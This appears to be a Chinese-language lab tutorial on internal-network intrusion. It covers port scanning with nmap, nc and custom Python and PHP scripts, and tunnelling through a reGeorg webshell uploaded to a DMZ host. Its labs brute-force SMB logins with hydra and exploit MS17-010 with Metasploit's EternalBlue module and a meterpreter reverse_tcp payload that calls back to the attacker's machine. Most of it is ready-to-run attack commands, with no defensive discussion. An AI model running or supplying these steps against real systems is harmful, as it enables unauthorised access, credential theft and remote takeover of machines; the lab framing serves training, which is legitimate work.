端口掃描
思路:首先查看內網存活的主機,然後查看存活主機的開放端口
方法一:利用nmap工具
nmap.exe -sP 目標網段或指定ip
nmap 目標ip
方法二:通過代理,用外網的nmap進行掃描
1.上傳regeo代理腳本tunnel.aspx到內網的dmz區
2.在攻擊機上輸入以下內容,通過regeorg代理內網的dmz機
python reGeorgSocksProxy.py -u http://192.168.240.50/tunnel.aspx
3.修改代理的配置文件
vim /etc/proxychains.conf
4.對目標機進行深度掃描
proxychains nmap -sT -Pn -p 80,445,3389 目標ip
方法三:s掃描器
1.上傳s掃描器
2.查看端口,512是指線程
S.exe TCP 10.1.1.1 10.1.1.1 1-3000 512
3.將掃描到的信息打印出來
S.exe TCP 10.1.1.1 10.1.1.1 1-3000 512 /BANNER
4.在當前目錄下生成一個result文件,存放掃描的結果
S.exe TCP 10.1.1.1 10.1.1.1 1-3000 512 /save
方法四:利用nc
掃描目標地址的ip
nc -nvv -w2 -z 目標ip 1-3000
方法五:可通過自寫腳本進行掃描
php,python,perl,ruby,java,c等程序都可以用來做端口掃描,同時還可以使用bat或者shell腳本來做掃描
python腳本
#!/usr/bin/env python
import socket
def get_ip_status(ip,port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.connect((ip,port))
print('{0} port {1} is open'.format(ip, port))
except Exception as err:
print('{0} port {1} is not open'.format(ip,port))
finally:
server.close()
if __name__ == '__main__':
host = '10.0.0.11'
for port in range(20,100):
get_ip_status(host,port)
php腳本
$arr = [80,8080,3306];
foreach ($arr as $port) {
$fp = @fsockopen('172.29.159.198',$port,$errno,$errstr,0.1);
if (!$fp) {
echo $port." closed\n";
}else{
echo $port." Opend\n";
}
}
實驗一:端口弱口令掃描
實驗環境:kali和win3
實驗步驟:
利用kali裏的九頭蛇工具
1.利用nmap查看目標機的端口
2.利用九頭蛇hydra工具進行爆破
輸入:
hydra -L user.txt -P pass.txt 192.168.240.135(目標ip) smb(爆破的服務名)
實驗二:利用namp腳本
實驗環境:kali和win3
實驗步驟:
1.查看namp的位置,輸入:whereis nmap
2.進入腳本所在位置:
腳本位置:/usr/share/nmap/scripts
3.過濾漏洞探測腳本
4.選擇合適腳本進行攻擊
nmap -p 445 --script smb-vuln-ms17-010.nse 目標機ip
實驗三:端口漏洞掃描
實驗環境:kali和win7
實驗步驟:
利用kali中的msfconsole工具
1.輸入msfconsole進入該工具
2.查看對應漏洞可利用的腳本
search 17_010
3.查看漏洞掃描腳本
use auxiliary/scanner
4.利用指定漏洞掃描內網中的機器
use auxiliary/scanner/smb/smb_ms17_010
show options
set rhosts 目標機ip/32
exploit
5.利用合適的exp進行攻擊
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhost 目標機ip
6.設置payload進行攻擊
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 攻擊機ip
show options
exploit